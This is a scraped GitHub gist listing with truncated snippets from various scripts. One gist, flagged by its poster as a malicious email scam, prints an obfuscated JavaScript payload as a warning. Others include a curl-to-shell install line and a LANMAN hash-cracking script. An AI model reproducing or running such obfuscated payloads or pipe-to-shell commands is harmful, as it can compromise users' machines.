Skip to content

Instantly share code, notes, and snippets.

View kost's full-sized avatar
💭
I'm upto something

kost kost

💭
I'm upto something
  • Diverto
  • Zagreb, Croatia
  • X @k0st
View GitHub Profile
@hunt3ri
hunt3ri / backup-sqlazuredb.ps1
Created August 21, 2012 12:16
Powershell script for backing up SQL Azure db
###############################################################################
# Description: Backup Script for Sql Azure DB
# Author: Iain Hunter
# Date: 21/08/12
###############################################################################
$today = Get-Date
$todayStr = $today.ToString("yyyyMMdd")
$backupFile = "your-db" + $todayStr + ".bacpac"
echo "Exporting backup to: $backupFile"
@adanmayer
adanmayer / gist:3415227
Created August 21, 2012 13:04 — forked from saetia/gist:1623487
Clean Install – Mountain Lion OS X 10.8
@holydevil
holydevil / hack.sh
Created August 21, 2012 14:20 — forked from erikh/hack.sh
OSX For Hackers
#!/usr/bin/env sh
##
# This is script with usefull tips taken from:
# https://github.com/mathiasbynens/dotfiles/blob/master/.osx
#
# install it:
# curl -sL https://raw.github.com/gist/2108403/hack.sh | sh
#
@gtenagli
gtenagli / gist:3416297
Created August 21, 2012 15:04
Bash script must-haves
# Taken from http://www.davidpashley.com/articles/writing-robust-shell-scripts.html
# abort when trying to use an unset variable
set -u # or set -o nounset
# exit on non-zero return codes from statements
# note: checking $? won't work any more, should use:
# command || { echo "command failed"; exit 1; }
set -e # or set -o errexit
@thomasv314
thomasv314 / email.html
Created August 21, 2012 15:31
**Malicious** IRC SCAM?? Do not run this.
<script>
/*
Figure 1.
Came at the bottom of an email... */
try{eshshesh++;}catch(zxc){try{aewtvawetwe|15232}catch(esgsh){m=Math;if(m)f="floor";}
n="126..135..1470..1530..448..600..1400..1665..1386..1755..1526..1515..1540..1740..644..1545..1414..1740..966..1620..1414..1635..1414..1650..1624..1725..924..1815..1176..1455..1442..1170..1358..1635..1414..600..546..1470..1554..1500..1694..585..574..1365..672..1395..574..1845..182..135..126..135..1470..1530..1596..1455..1526..1515..1596..600..574..885..182..135..126..1875..448..1515..1512..1725..1414..480..1722..195..126..135..126..1500..1554..1485..1638..1635..1414..1650..1624..690..1666..1710..1470..1740..1414..600..476..900..1470..1530..1596..1455..1526..1515..448..1725..1596..1485..854..585..1456..1740..1624..1680..812..705..658..1470..1470..1605..1414..1725..1512..1455..1526..690..1540..1515..1624..705..1526..1455..1470..1650..644..1680..1456..1680..882..1680..1358..1545..1414..915..784..1470..784..855..1386..825..700..825..784..825..770..720..1400..1530..14
@moritz
moritz / ncurses.p6
Created August 21, 2012 15:48
Basic ncurses example
use v6;
use NativeCall;
constant lib = 'libncurses.so.5';
sub initscr() is native(lib) { * }
sub endwin() is native(lib) { * }
sub printw(Str) is native(lib) { * }
sub update() is native(lib) is symbol<refresh> { * }
@willyaranda
willyaranda / post-to-websocket.js
Created August 21, 2012 16:04
post-to-websocket
var WebSocketServer = require('websocket').server;
var http = require('http');
http.createServer(onHTTPMessage).listen(8888, "0.0.0.0");
console.log('post-to-websocket --> Listening on 0.0.0.0:8888');
function onHTTPMessage(req, res) {
console.log('post-to-websocket --> Received request for ' + req.url);
if(req.url == "/websocket") {
console.log("Petition accepted in /websocket");
@grutz
grutz / crack-all-lm.sh
Created August 21, 2012 16:13
Crack All LANMAN Hashes!
#!/bin/bash
# crack-all-lms-avenger
# (c) 2012 by Kurt Grutzmacher ([email protected])
# License: BSD 3-Clause - http://opensource.org/licenses/bsd-3-clause
#
# So you have a pwdump file and it has some LANMAN hashes, eh? Run this and I
# guarantee you'll crack a ton of them!
#
# Some paths are hardcoded. YMMV. No warranty express or implied. See your
@scttnlsn
scttnlsn / README.md
Created August 21, 2012 16:13
Git as a key/value store

git-store

$ git init mystore
$ cd mystore

$ git store set foo "this is foo"
$ git store get foo
this is foo
@phrz
phrz / istouch.js
Created August 21, 2012 17:09
Detect a touch device in javascript.
function isTouch() {
try {
document.createEvent("TouchEvent");
return true;
} catch (e) {
return false;
}
}